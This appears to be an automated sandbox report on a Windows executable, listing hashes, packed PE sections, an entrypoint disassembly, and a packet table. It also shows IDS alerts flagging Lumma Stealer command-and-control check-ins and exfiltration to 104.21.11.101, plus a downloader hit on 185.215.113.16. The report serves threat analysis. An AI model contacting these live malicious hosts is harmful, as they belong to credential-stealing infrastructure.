Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.507038816259207
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	eYAXkcBRfQ.exe
File size:	2'984'960 bytes
MD5:	6c77cecdfb7fbd825f0f1b98e7580a12
SHA1:	bd5aaf24f85326a8593b63714e6cf5ee5b944a7f
SHA256:	386fb04c425da5e032bad93a558acdd85b864daa434dd28b4d8a7f44a930e160
SHA512:	01fc4704defdbbbfc2fe213413444c11f93d321c9558be066bf29e163102df4dc66bcf80d1b7ad34ef951d8e0003f2594be58e087f16c6de19831daade3dfedf
SSDEEP:	24576:MOIz9PNHWIxJsHjIeioYGLYVYiW2qalWC6iFR/76OlZXo2V4a2Rn9NtlbS7Vj8oX:/01lrsHjIeJ5YVYWmiFLVe9N+joGt
TLSH:	30D53B92B54972CFD09E2779842BCD81595D43F90B2109C3E86CB5BB7EE3CC616B9C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................P0...........@...........................0.....c.-...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x705000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA34C7BE0CAh
punpckhdq mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	91fb1555bacd99d3b37e39a9ead57e87	False	0.9996234170751634	data	7.982748656783859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tedoginf	0x55000	0x2af000	0x2af000	5479a25e81b168114be7f575cf299a4f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wqgwobbx	0x304000	0x1000	0x400	0dc78b127637e36f2c60d2b47f296483	False	0.75390625	data	5.969037988585637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x305000	0x3000	0x2200	e39d8ecb2808b09f1a7fba603adf7239	False	0.07329963235294118	DOS executable (COM)	0.8398054853738343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T15:12:26.689886+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:12:27.446840+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:12:27.446840+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:12:28.716479+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:12:29.505443+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:12:29.505443+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:12:31.274503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:12:33.765148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:12:36.537810+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:12:39.011822+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:12:39.677481+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:12:41.377931+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T15:12:51.509473+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	104.21.11.101	443	TCP
2024-12-27T15:12:52.585235+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49727	104.21.11.101	443	TCP
2024-12-27T15:12:54.222596+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49733	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:12:20.112581968 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:20.112586975 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:20.268790960 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:25.375652075 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:25.375742912 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:25.375861883 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:25.377804995 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:25.377821922 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:26.689802885 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:26.689886093 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:26.693763018 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:26.693772078 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:26.694093943 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:26.737437963 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:26.743697882 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:26.743736029 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:26.743810892 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.446851969 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.446958065 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.447086096 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.449508905 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.449528933 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.449538946 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.449543953 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.457707882 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.457762957 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:27.457838058 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.458193064 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:27.458208084 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:28.716347933 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:28.716479063 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:28.721400976 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:28.721415997 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:28.721731901 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:28.723198891 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:28.723217010 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:28.723289013 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505441904 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505525112 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505558014 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505594969 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505603075 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.505629063 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.505642891 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.513642073 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.513689995 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.513741016 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.513766050 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.513828039 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.522084951 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.530503988 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.530577898 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.530585051 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.581175089 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.706917048 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.710371017 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.710412025 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.710505962 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.710509062 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.710618019 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.710755110 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.710768938 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.710792065 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.710797071 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.721800089 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:29.721801996 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:29.878041029 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:29.968481064 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.968518972 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:29.968596935 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.969038010 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:29.969053984 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:31.274420023 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:31.274502993 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:31.419886112 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:31.419917107 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:31.420238018 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:31.430682898 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:31.431004047 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:31.431037903 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:32.307504892 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 15:12:32.307615042 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:12:32.427263021 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:32.427381992 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:32.427449942 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:32.427655935 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:32.427676916 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:32.551624060 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:32.551672935 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:32.551743031 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:32.552052021 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:32.552066088 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:33.765017033 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:33.765147924 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:33.766426086 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:33.766438961 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:33.766669035 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:33.767884016 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:33.768054962 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:33.768089056 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:33.768142939 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:33.811331987 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:35.041155100 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:35.041296959 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:35.041393042 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:35.041485071 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:35.041503906 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:35.231448889 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:35.231497049 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:35.231570959 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:35.231904984 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:35.231919050 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:36.537714005 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:36.537810087 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:36.539150953 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:36.539160013 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:36.539424896 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:36.540785074 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:36.540970087 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:36.541007042 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:36.541096926 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:36.541104078 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:37.474770069 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:37.474879026 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:37.474978924 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:37.475064993 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:37.475079060 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:37.798791885 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:37.798819065 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:37.798929930 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:37.799237967 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:37.799254894 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.011688948 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.011821985 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.013187885 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.013196945 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.013439894 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.014760017 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.014853954 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.014873028 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.677485943 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.677583933 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:39.677671909 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.677870035 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:39.677886963 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:40.164139032 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:40.164181948 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:40.164242983 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:40.164870024 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:40.164881945 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.377862930 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.377931118 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.379868031 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.379877090 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.380131960 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.381553888 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.382591009 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.382622004 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.382718086 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.382749081 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.382853985 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.382879972 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.382998943 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.383022070 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.383140087 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.383164883 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.383299112 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.383332014 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.427331924 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.427527905 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.427570105 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.471334934 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.471543074 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.471587896 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.471601009 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.515326023 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.515475988 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.515515089 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.559329033 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.559408903 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.603331089 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.623672962 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.623771906 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:41.623792887 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:41.744575977 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:50.145076036 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:50.145178080 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:50.145230055 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:50.145381927 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:50.145397902 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:50.196314096 CET	49727	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:50.196365118 CET	443	49727	104.21.11.101	192.168.2.5
Dec 27, 2024 15:12:50.196477890 CET	49727	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:12:50.196821928 CET	49727	443	192.168.2.5	104.21.11.101
